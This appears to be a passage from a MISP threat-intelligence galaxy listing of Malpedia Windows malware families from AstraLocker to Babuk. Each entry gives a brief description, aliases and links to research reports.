https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker
https://www.emsisoft.com/ransomware-decryption-tools/astralocker
https://www.bleepingcomputer.com/news/security/astralocker-ransomware-shuts-down-and-releases-decryptors/
https://blog.malwarebytes.com/ransomware/2022/07/astralocker-2-0-ransomware-isnt-going-to-give-you-your-files-back/
https://blog.reversinglabs.com/blog/smash-and-grab-astralocker-2-pushes-ransomware-direct-from-office-docs

AsyncRAT

AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.

The tag is: *misp-galaxy:malpedia="AsyncRAT"*

AsyncRAT is also known as:

Table 1684. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat
https://thehackernews.com/2022/01/hackers-using-new-evasive-technique-to.html
https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html
https://community.riskiq.com/article/3929ede0/description
https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf
https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://blog.morphisec.com/asyncrat-new-delivery-technique-new-threat-campaign
https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service
https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader
https://eln0ty.github.io/malware%20analysis/asyncRAT/

https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/follina-msdt-exploit-malware
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://community.riskiq.com/article/ade260c6
https://brianstadnicki.github.io/posts/vulnerability-asyncrat-rce/
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages
https://blog.netlab.360.com/purecrypter
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html
https://www.zscaler.com/blogs/security-research/targeted-attack-thailand-pass-customers-delivers-asyncrat
https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html
https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf
https://assets.virustotal.com/reports/2021trends.pdf
https://blog.qualys.com/vulnerabilities-threat-research/2022/08/16/asyncrat-c2-framework-overview-technical-analysis-and-detection
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2022/wochenrueckblick_7.html
https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/
https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/
https://securelist.com/apt-trends-report-q3-2020/99204/
https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf
https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia/
https://github.com/jeFF0Falltrades/Tutorials/tree/master/asyncrat_config_parser
https://redskyalliance.org/xindustry/possible-identity-of-a-kuwaiti-hacker-nyanxcat
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html

https://twitter.com/ESETresearch/status/1449132020613922828
https://www.netskope.com/blog/asyncrat-using-fully-undetected-downloader
https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html
https://labs.k7computing.com/?p=21759
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise
https://twitter.com/MsftSecIntel/status/1392219299696152578
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt
https://blogs.vmware.com/security/2019/11/threat-analysis-unit-tau-threat-intelligence-notification-asyncrat.html
https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies
https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt
https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://community.riskiq.com/article/24759ad2
https://www.esentire.com/blog/asyncrat-activity
https://aidenmitchell.ca/asyncrat-via-vbs/
https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html
https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html
https://twitter.com/vxunderground/status/1519632014361640960
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://blog.morphisec.com/syk-crypter-discord
https://jstnk9.github.io/jstnk9/research/AsyncRAT-Analysis/
https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia

https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/
https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf
https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/
https://www.esentire.com/blog/suspected-asyncrat-delivered-via-iso-files-using-html-smuggling-technique
https://threatpost.com/ta2541-apt-rats-aviation/178422/

AthenaGo RAT

The tag is: *misp-galaxy:malpedia="AthenaGo RAT"*

AthenaGo RAT is also known as:

Table 1685. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.athenago

ATI-Agent

The tag is: *misp-galaxy:malpedia="ATI-Agent"*

ATI-Agent is also known as:

Table 1686. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

ATMii

The tag is: *misp-galaxy:malpedia="ATMii"*

ATMii is also known as:

Table 1687. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii
https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/

ATMitch

The tag is: *misp-galaxy:malpedia="ATMitch"*

ATMitch is also known as:

Table 1688. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch
https://securelist.com/atm-pos-malware-landscape-2017-2019/96750/
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf
https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/

Atmosphere

The tag is: *misp-galaxy:malpedia="Atmosphere"*

Atmosphere is also known as:

Table 1689. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere
https://www.group-ib.com/resources/threat-research/silence.html
https://www.zdnet.com/article/new-silence-hacking-group-suspected-of-having-ties-to-cyber-security-industry/

ATMSpitter

The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll. Both libraries are legitimate Windows drivers used to interact with the components of different ATM models.

The tag is: *misp-galaxy:malpedia="ATMSpitter"*

ATMSpitter is also known as:

Table 1690. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter
http://www.secureworks.com/research/threat-profiles/gold-kingswood
https://www.secureworks.com/research/threat-profiles/gold-kingswood
https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf

https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf

ATOMSILO

The tag is: *misp-galaxy:malpedia="ATOMSILO"*

ATOMSILO is also known as:

Table 1691. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo
https://chuongdong.com//reverse%20engineering/2021/10/13/AtomSiloRansomware/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/
https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/
https://twitter.com/siri_urz/status/1437664046556274694?s=20
https://www.zscaler.com/blogs/security-research/atomsilo-ransomware-enters-league-double-extortion
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

Attor

Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.

Attor's core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware's key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability.

The most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.

The tag is: *misp-galaxy:malpedia="Attor"*

Attor is also known as:

Table 1692. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.attor
https://www.unian.ua/science/10717107-mizhnarodna-it-kompaniya-poperedzhaye-pro-nizku-shpigunskih-atak-na-uryadovi-ta-diplomatichni-ustanovi-shidnoji-yevropi.html
https://threatpost.com/sophisticated-spy-kit-russians-gsm-plugin/149095/
https://safe.cnews.ru/news/top/2019-10-11_za_rossijskimi_diplomatami
https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf
https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform/
https://www.zdnet.com/article/new-espionage-malware-found-targeting-russian-speaking-users-in-eastern-europe/

August Stealer

The tag is: *misp-galaxy:malpedia="August Stealer"*

August Stealer is also known as:

Table 1693. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer
https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html
https://www.proofpoint.com/us/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

Auriga

The tag is: *misp-galaxy:malpedia="Auriga"*

Auriga is also known as:

- Riodrv

Table 1694. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga

https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Aurora

Ransomware

The tag is: *misp-galaxy:malpedia="Aurora"*

Aurora is also known as:

- OneKeyLocker

Table 1695. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora
https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/
https://twitter.com/malwrhunterteam/status/1001461507513880576
https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/

Avaddon

Avaddon is a ransomware malware targeting Windows systems often spread via malicious spam. The first known attack where Avaddon ransomware was distributed was in February 2020. Avaddon encrypts files using the extension .avdn and uses a TOR payment site for the ransom payment.

The tag is: *misp-galaxy:malpedia="Avaddon"*

Avaddon is also known as:

Table 1696. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon
https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure
https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/
https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis
https://www.bleepingcomputer.com/news/security/another-ransomware-now-uses-ddos-attacks-to-force-victims-to-pay/
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire
https://www.swascan.com/it/avaddon-ransomware/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.tgsoft.it/files/report/download.asp?id=568531345
https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/
https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/
https://www.connectwise.com/resources/avaddon-profile
https://twitter.com/dk_samper/status/1348560784285167617

https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://arxiv.org/pdf/2102.04796.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/
https://www.mandiant.com/resources/chasing-avaddon-ransomware
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://twitter.com/Securityinbits/status/1271065316903120902
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/

AvastDisabler

The tag is: *misp-galaxy:malpedia="AvastDisabler"*

AvastDisabler is also known as:

Table 1697. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler
https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/

AVCrypt

The tag is: *misp-galaxy:malpedia="AVCrypt"*

AVCrypt is also known as:

Table 1698. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt
https://www.bleepingcomputer.com/news/security/the-avcrypt-ransomware-tries-to-uninstall-your-av-software/

AvD Crypto Stealer

Cyble Research discovered this .Net written malware dubbed "AvD Crypto Stealer". The name of this malware is misleading, because this is a kind of clipper malware. Assumption of Cyble is, that this malware could target other threat actors as scenario.

The tag is: *misp-galaxy:malpedia="AvD Crypto Stealer"*

AvD Crypto Stealer is also known as:

Table 1699. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avd
https://blog.cyble.com/2022/03/22/hunters-become-the-hunted/

Aveo

The tag is: *misp-galaxy:malpedia="Aveo"*

Aveo is also known as:

Table 1700. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo
http://researchcenter.paloaltonetworks.com/2016/08/unit42-aveo-malware-family-targets-japanese-speaking-users/
https://www.secureworks.com/research/threat-profiles/bronze-overbrook

Ave Maria

Information stealer which uses AutoIT for wrapping.

The tag is: *misp-galaxy:malpedia="Ave Maria"*

Ave Maria is also known as:

- AVE_MARIA
- AveMariaRAT
- Warzone RAT
- WarzoneRAT
- avemaria

Table 1701. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria
https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat

https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html
https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html
http://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery
https://mp.weixin.qq.com/s/fsesosMnKIfAi_I9I0wKSA
https://reaqta.com/2019/04/ave_maria-malware-part1/
https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat
https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique
https://www.youtube.com/watch?v=T0tdj1WDioM
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware
https://mp.weixin.qq.com/s/C09P0al1nhsyyujHRp0FAw
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://blog.team-cymru.com/2019/07/25/unmasking-ave_maria/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.youtube.com/watch?v=-G82xh9m4hc
https://blog.yoroi.company/research/the-ave_maria-malware/
https://asec.ahnlab.com/en/36629/
https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/
https://www.youtube.com/watch?v=81fdvmGmRvM
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://blog.morphisec.com/syk-crypter-discord
https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest
https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/

AvosLocker

The tag is: *misp-galaxy:malpedia="AvosLocker"*

AvosLocker is also known as:

Table 1702. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html
https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html
https://www.ic3.gov/Media/News/2022/220318.pdf
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker
https://news.sophos.com/en-us/2021/12/22/avos-locker-remotely-accesses-boxes-even-running-in-safe-mode/
https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen
https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/

https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

Avzhan

The tag is: *misp-galaxy:malpedia="Avzhan"*

Avzhan is also known as:

Table 1703. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan
https://blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/

Ayegent

The tag is: *misp-galaxy:malpedia="Ayegent"*

Ayegent is also known as:

Table 1704. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent

Aytoke

Keylogger.

The tag is: *misp-galaxy:malpedia="Aytoke"*

Aytoke is also known as:

Table 1705. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke
https://www.youtube.com/watch?v=FttiysUZmDw
https://snort.org/rule_docs/1-34217

Azorult

AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.

The tag is: *misp-galaxy:malpedia="Azorult"*

Azorult is also known as:

- PuffStealer
- Rultazo

Table 1706. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult
https://community.riskiq.com/article/56e28880
https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/
https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html
https://community.riskiq.com/article/2a36a7d2/description
https://fr3d.hk/blog/gazorp-thieving-from-thieves
https://www.zscaler.com/blogs/security-research/targeted-attacks-oil-and-gas-supply-chain-industries-middle-east
https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware
https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign
https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update
https://yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/
https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/
https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/
https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html
https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html
https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html

https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.splunk.com/en_us/blog/security/-applocker-rules-as-defense-evasion-complete-analysis.html
https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html
https://mariohenkel.medium.com/decrypting-azorult-traffic-for-fun-and-profit-9f28d8638b05
https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://ke-la.com/whats-dead-may-never-die-azorult-infostealer-decommissioned-again/
https://twitter.com/DrStache_/status/1227662001247268864
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html
https://www.youtube.com/watch?v=EyDiIAt*dI[https://www.youtube.com/watch?v=EyDiIAt*dI]
https://threatvector.cylance.com/en_us/home/threat-spotlight-analyzing-azorult-infostealer-malware.html
https://asec.ahnlab.com/en/26517/
https://malwarebreakdown.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/
https://www.virusbulletin.com/uploads/pdf/magazine/2021/202104-design-vulnerabilities-azorult-cc-panels.pdf
https://isc.sans.edu/diary/25120
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/
https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/
https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers
https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
https://securelist.com/azorult-analysis-history/89922/
https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/

https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/
https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/
https://www.blueliv.com/blog-news/research/azorult-crydbrox-stops-sells-malware-credential-stealer/
https://ke-la.com/exploring-the-genesis-supply-chain-for-fun-and-profit/
https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/
https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://blog.team-cymru.com/2020/02/19/azorult-what-we-see-using-our-own-tools/
https://unit42.paloaltonetworks.com/cybersquatting/
https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/
https://ke-la.com/information-stealers-a-new-landscape/
https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

Babar

The tag is: *misp-galaxy:malpedia="Babar"*

Babar is also known as:

- SNOWBALL

Table 1707. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babar
http://www.spiegel.de/media/media-35683.pdf
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
https://researchcenter.paloaltonetworks.com/2017/09/unit42-analysing-10-year-old-snowball/
https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/

https://drive.google.com/a/cyphort.com/file/d/0B9Mrr-en8FX4dzJqLWhDblhseTA/

Babuk (Windows)

Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.

The tag is: *misp-galaxy:malpedia="Babuk (Windows)"*

Babuk (Windows) is also known as:

- Babyk
- Vasa Locker

Table 1708. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/
https://sekurak.pl/udalo-nam-sie-zrealizowac-wywiad-z-grupa-ransomware-babuk-ktora-zaszyfrowala-policje-metropolitarna-w-waszyngtonie/
